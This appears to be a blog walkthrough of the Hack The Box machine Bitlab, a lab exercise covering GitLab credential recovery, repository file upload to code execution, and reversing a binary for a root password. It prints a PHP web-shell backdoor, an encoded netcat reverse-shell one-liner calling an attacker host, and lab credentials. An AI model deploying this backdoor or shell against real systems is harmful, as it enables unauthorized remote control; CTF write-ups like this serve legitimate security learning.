Ahmed Hesham
CyberSec/InfoSec enthusiast.
Interested in knowing how things work/Interested in breaking them, always learning.

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Hack The Box - Bitlab

My write-up / walkthrough for Bitlab from Hack The Box.

Quick Summary


Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114, I added it to /etc/hosts as bitlab.htb. Let’s jump right in !


Nmap


As always we will start with nmap to scan for open ports and services:

root@kali:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-10 13:44 EST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds
root@kali:~/Desktop/HTB/boxes/bitlab# 


We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.


Web Enumeration


Gitlab was running on the web server and we need credentials:


I checked /robots.txt to see if there was anything interesting:

root@kali:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt                                                                                                                                                             [18/43]
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file                                                                                                                                          
#                                                                                                                                                                                                                                          
# To ban all spiders from the entire site uncomment the next two lines:                                                                                                                                                                    
# User-Agent: *                                                                                                                                                                                                                            
# Disallow: /                                                                                                                                                                                                                              
                                                                                                                                                                                                                                           
# Add a 1 second delay between successive requests to the same server, limits resources used by crawler                                                                                                                                    
# Only some crawlers respect this setting, e.g. Googlebot does not                                                                                                                                                                         
# Crawl-delay: 1                                                                                                                                                                                                                           
                                                                                                                                                                                                                                           
# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application                                                        
User-Agent: *                                                                                                                                                                                                                              
Disallow: /autocomplete/users                                                                                                                                                                                                              
Disallow: /search                                                                                                                                                                                                                          
Disallow: /api                                                                                                                                                                                                                             
Disallow: /admin                                                                                                                                                                                                                           
Disallow: /profile                                                                                                                                                                                                                         
Disallow: /dashboard                                                                                                                                                                                                                       
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in

# Global snippets
User-Agent: *
Disallow: /s/
Disallow: /snippets/new
Disallow: /snippets/*/edit
Disallow: /snippets/*/raw

# Project details
User-Agent: *
Disallow: /*/*.git
Disallow: /*/*/fork/new
Disallow: /*/*/repository/archive*
Disallow: /*/*/activity
Disallow: /*/*/new
Disallow: /*/*/edit
Disallow: /*/*/raw
Disallow: /*/*/blame
Disallow: /*/*/commits/*/*
Disallow: /*/*/commit/*.patch
Disallow: /*/*/commit/*.diff
Disallow: /*/*/compare
Disallow: /*/*/branches/new
Disallow: /*/*/tags/new
Disallow: /*/*/network
Disallow: /*/*/graphs
Disallow: /*/*/milestones/new
Disallow: /*/*/milestones/*/edit
Disallow: /*/*/issues/new
Disallow: /*/*/issues/*/edit
Disallow: /*/*/merge_requests/new
Disallow: /*/*/merge_requests/*.patch
Disallow: /*/*/merge_requests/*.diff
Disallow: /*/*/merge_requests/*/edit
Disallow: /*/*/merge_requests/*/diffs
Disallow: /*/*/project_members/import
Disallow: /*/*/labels/new
Disallow: /*/*/labels/*/edit
Disallow: /*/*/wikis/*/edit
Disallow: /*/*/snippets/new
Disallow: /*/*/snippets/*/edit
Disallow: /*/*/snippets/*/raw
Disallow: /*/*/deploy_keys
Disallow: /*/*/hooks
Disallow: /*/*/services
Disallow: /*/*/protected_branches
Disallow: /*/*/uploads/
Disallow: /*/-/group_members
Disallow: /*/project_members
root@kali:~/Desktop/HTB/boxes/bitlab#


Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html:


There was an interesting link called Gitlab Login:


Clicking on that link didn’t result in anything, so I checked the source of the page, the href attribute had some javascript code:

        <DT><A HREF="javascript:(function(){ var _0x4b18=[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x63\x6C\x61\x76\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot;,&quot;\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A>


I took that code, edited it a little bit and used the js console to execute it:

root@kali:~/Desktop/HTB/boxes/bitlab# js
> var _0x4b18=['\x76\x61\x6C\x75\x65','\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E','\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64','\x63\x6C\x61\x76\x65','\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64','\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78'];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
Thrown:
ReferenceError: document is not defined
>


Then I printed the variable _0x4b18 which had the credentials for Gitlab:

> _0x4b18
[ 'value',
  'user_login',
  'getElementById',
  'clave',
  'user_password',
  '11des0081x' ]
> 



File Upload –> RCE –> Shell as www-data


After logging in with the credentials (clave : 11des0081x) I found two repositories, Profile and Deployer:




I also checked the snippets and I found an interesting code snippet that had the database credentials which will be useful later:




<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");


Back to the repositories, I checked Profile and it was pretty empty:


The path /profile was one of the disallowed entries in /robots.txt, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg) existed, and it did:




Now we can simply upload a php shell and access it through /profile, I uploaded the php-simple-backdoor:

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->










Then I merged it to the master branch:








I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a shell, had to urlencode it first:

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff
root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.114] 44340
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@bitlab:/var/www/html/profile$ ^Z
[1]+  Stopped                 nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/bitlab# stty raw -echo
root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337

www-data@bitlab:/var/www/html/profile$ export TERM=screen
www-data@bitlab:/var/www/html/profile$ 



Database Access –> Clave’s Password –> SSH as Clave –> User Flag


After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasn’t installed:

www-data@bitlab:/var/www/html/profile$ psql
bash: psql: command not found
www-data@bitlab:/var/www/html/profile$ 


So I had to do it with php:

www-data@bitlab:/var/www/html/profile$ php -a
Interactive mode enabled

php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');


I executed the same query from the code snippet which queried everything from the table profiles, and I got clave’s password which I could use to get ssh access:

php > $result = $connection->query("SELECT * FROM profiles");
php > $profiles = $result->fetchAll();
php > print_r($profiles);
Array
(
    [0] => Array
        (
            [id] => 1
            [0] => 1
            [username] => clave
            [1] => clave
            [password] => c3NoLXN0cjBuZy1wQHNz==
            [2] => c3NoLXN0cjBuZy1wQHNz==
        )

)
php > 




We owned user.


Reversing RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag


In the home directory of clave there was a Windows executable called RemoteConnection.exe:

clave@bitlab:~$ ls -la
total 44
drwxr-xr-x 4 clave clave  4096 Aug  8 14:40 .
drwxr-xr-x 3 root  root   4096 Feb 28  2019 ..
lrwxrwxrwx 1 root  root      9 Feb 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave  3771 Feb 28  2019 .bashrc
drwx------ 2 clave clave  4096 Aug  8 14:40 .cache
drwx------ 3 clave clave  4096 Aug  8 14:40 .gnupg
-rw-r--r-- 1 clave clave   807 Feb 28  2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave    33 Feb 28  2019 user.txt
clave@bitlab:~$ 


I downloaded it on my box:

root@kali:~/Desktop/HTB/boxes/bitlab# scp clave@bitlab.htb:/home/clave/RemoteConnection.exe ./
clave@bitlab.htb's password: 
RemoteConnection.exe                                                                                                                                                                                     100%   14KB  16.5KB/s   00:00    
root@kali:~/Desktop/HTB/boxes/bitlab#


Then I started looking at the code decompilation with Ghidra. One function that caught my attention was FUN_00401520():


/* WARNING: Could not reconcile some variable overlaps */

void FUN_00401520(void)

{
  LPCWSTR pWVar1;
  undefined4 ***pppuVar2;
  LPCWSTR lpParameters;
  undefined4 ***pppuVar3;
  int **in_FS_OFFSET;
  uint in_stack_ffffff44;
  undefined4 *puVar4;
  uint uStack132;
  undefined *local_74;
  undefined *local_70;
  wchar_t *local_6c;
  void *local_68 [4];
  undefined4 local_58;
  uint local_54;
  void *local_4c [4];
  undefined4 local_3c;
  uint local_38;
  undefined4 ***local_30 [4];
  int local_20;
  uint local_1c;
  uint local_14;
  int *local_10;
  undefined *puStack12;
  undefined4 local_8;
  
  local_8 = 0xffffffff;
  puStack12 = &LAB_004028e0;
  local_10 = *in_FS_OFFSET;
  uStack132 = DAT_00404018 ^ (uint)&stack0xfffffffc;
  *(int ***)in_FS_OFFSET = &local_10;
  local_6c = (wchar_t *)0x4;
  local_14 = uStack132;
  GetUserNameW((LPWSTR)0x4,(LPDWORD)&local_6c);
  local_38 = 0xf;
  local_3c = 0;
  local_4c[0] = (void *)((uint)local_4c[0] & 0xffffff00);
  FUN_004018f0();
  local_8 = 0;
  FUN_00401260(local_68,local_4c);
  local_74 = &stack0xffffff60;
  local_8._0_1_ = 1;
  FUN_004018f0();
  local_70 = &stack0xffffff44;
  local_8._0_1_ = 2;
  puVar4 = (undefined4 *)(in_stack_ffffff44 & 0xffffff00);
  FUN_00401710(local_68);
  local_8._0_1_ = 1;
  FUN_00401040(puVar4);
  local_8 = CONCAT31(local_8._1_3_,3);
  lpParameters = (LPCWSTR)FUN_00401e6d();
  pppuVar3 = local_30[0];
  if (local_1c < 0x10) {
    pppuVar3 = local_30;
  }
  pWVar1 = lpParameters;
  pppuVar2 = local_30[0];
  if (local_1c < 0x10) {
    pppuVar2 = local_30;
  }
  while (pppuVar2 != (undefined4 ***)(local_20 + (int)pppuVar3)) {
    *pWVar1 = (short)*(char *)pppuVar2;
    pWVar1 = pWVar1 + 1;
    pppuVar2 = (undefined4 ***)((int)pppuVar2 + 1);
  }
  lpParameters[local_20] = L'\0';
  if (local_6c == L"clave") {
    ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
                  ,10);
  }
  else {
    FUN_00401c20((int *)cout_exref);
  }
  if (0xf < local_1c) {
    operator_delete(local_30[0]);
  }
  local_1c = 0xf;
  local_20 = 0;
  local_30[0] = (undefined4 ***)((uint)local_30[0] & 0xffffff00);
  if (0xf < local_54) {
    operator_delete(local_68[0]);
  }
  local_54 = 0xf;
  local_58 = 0;
  local_68[0] = (void *)((uint)local_68[0] & 0xffffff00);
  if (0xf < local_38) {
    operator_delete(local_4c[0]);
  }
  *in_FS_OFFSET = local_10;
  FUN_00401e78();
  return;
}


It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldn’t see:

if (local_6c == L"clave") {
    ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
                  ,10);
  }


This is how the same part looked like in IDA:


I copied the executable to a Windows machine and I tried to run it, however it just kept crashing.
I opened it in immunity debugger to find out what was happening, and I found an access violation:


It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOPs.
I had to set a breakpoint before the cmp instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:






Then I executed the program and whenever I hit an access violation I replaced the instructions with NOPs, it happened twice then I reached my breakpoint:






After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx, It was starting an ssh session as root and I could see the password:


EAX 00993E80 UNICODE "-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""
EBX 00993DA0 ASCII "-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""




And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.


Previous Hack The Box write-up : Hack The Box - Craft
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